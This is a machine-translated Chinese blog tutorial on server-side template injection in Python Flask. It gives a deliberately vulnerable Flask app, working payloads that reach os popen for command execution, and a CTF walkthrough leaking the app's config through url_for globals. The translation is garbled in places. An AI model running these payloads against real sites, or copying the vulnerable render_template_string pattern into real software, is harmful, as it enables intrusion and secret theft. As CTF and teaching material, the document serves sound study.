当前位置:网站首页>SSTI template injection explanation and real problem practice
SSTI template injection explanation and real problem practice
2022-07-06 03:47:00 【Advertising fever】
0x00 SSTI
1. What is? SSTI Inject ?
SSTI Template Injection (Server-Side Template Injection), Through the interface with the server-side template Input output interaction , In the case of lax filtering , Construct malicious input data , So as to read files or getshell Purpose , at present CTF common SSTI In question , Most of them are exams python Of .
2. Causes and utilization conditions
The website processes the output pages by the data and template framework , Our data will not change in the database , But the template of the picture can be converted in various ways , Different templates can give people different visual feelings , But when the template has controllable parameter variables or the template code has the debugging function of the template , May lead to ssti Template Injection , This injection exists for most script types . It's common for python Of CTF More test sites
3. What are the hazards ?
It can cause file reading , Command execution , Code execution, etc
paylaod Analytical reference :
0x01 Case understanding SSTI
Sensitive function phrases :
flask
render_template_string
Python Case study :
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3> #%s obtain 404_url Parameter the contents of the following fields , So as to input controllable variable injection
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
Can be python Script execution , Injection of being 
adopt payload type , can RCE Read files and operate the machine
os._wrap_close In the class popen.
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
0x02 CTF Case study
https://buuoj.cn/
Title Page :

structure 2-2 perform , That there is ssti Injection execution 
View all global variables , Reference global variables 
Use global variables to get the following config value
url_for() Function is used to build the specified function of operation URL
get_flashed_messages() The function is to get the passed data
Get global variables
/shrine/{
{url_for.__globals__}}
or
/shrine/{
{get_flashed_messages.__globals__}}
Use the current global variable to read :
/shrine/{
{url_for.__globals__['current_app'].config}}
or
/shrine/{
{get_flashed_messages.__globals__['current_app'].config}}

Add : pyc Decompile knowledge points
pyc It is also a form of script encapsulation , Be similar to
aspx:DLL file
java:.class/jar/war file
pyc Is a decompilable package , There are also those that are difficult to decompile pyd Wait for the documents
pyc Decompile reference website :
Decompile platform :
https://tool.lu/pyc/
http://tools.bugscaner.com/decompyle/
decompiler :https://github.com/wibiti/uncompyle2
边栏推荐
- 遥感图像超分辨重建综述
- Why do you want to start pointer compression?
- Alibaba testers use UI automated testing to achieve element positioning
- Take you to wechat applet development in 3 minutes
- Oracle ORA error message
- Svg drag point crop image JS effect
- 简易博客系统
- Ks003 mall system based on JSP and Servlet
- BUAA magpie nesting
- MySQL 中的数据类型介绍
猜你喜欢

2.13 weekly report

2.2 STM32 GPIO operation

Edcircles: a real time circle detector with a false detection control translation

WPF效果第一百九十一篇之框选ListBox
![[practice] mathematics in lottery](/img/29/2ef2b545d92451cf083ee16e09ffb4.jpg)
[practice] mathematics in lottery

2. GPIO related operations

Exchange bottles (graph theory + thinking)

Quartz misfire missed and compensated execution

Force buckle 1189 Maximum number of "balloons"
![[slam] orb-slam3 parsing - track () (3)](/img/87/b580837778c2c9f6bac5ba49403d6b.png)
[slam] orb-slam3 parsing - track () (3)
随机推荐
2、GPIO相关操作
Shell pass parameters
Facebook等大廠超十億用戶數據遭泄露,早該關注DID了
Mapping between QoE and KQI
施努卡:3d视觉检测应用行业 机器视觉3d检测
A brief introduction to symbols and link libraries in C language
简述C语言中的符号和链接库
[001] [stm32] how to download STM32 original factory data
WPF效果第一百九十一篇之框选ListBox
How to modify field constraints (type, default, null, etc.) in a table
Crawler of explanation and application of agency theory
Introduction to data types in MySQL
MySQL about self growth
[American competition] mathematical terms
2.1 rtthread pin device details
数据分析——seaborn可视化(笔记自用)
Cubemx transplantation punctual atom LCD display routine
Cross origin cross domain request
How do we make money in agriculture, rural areas and farmers? 100% for reference
Prime protocol announces cross chain interconnection applications on moonbeam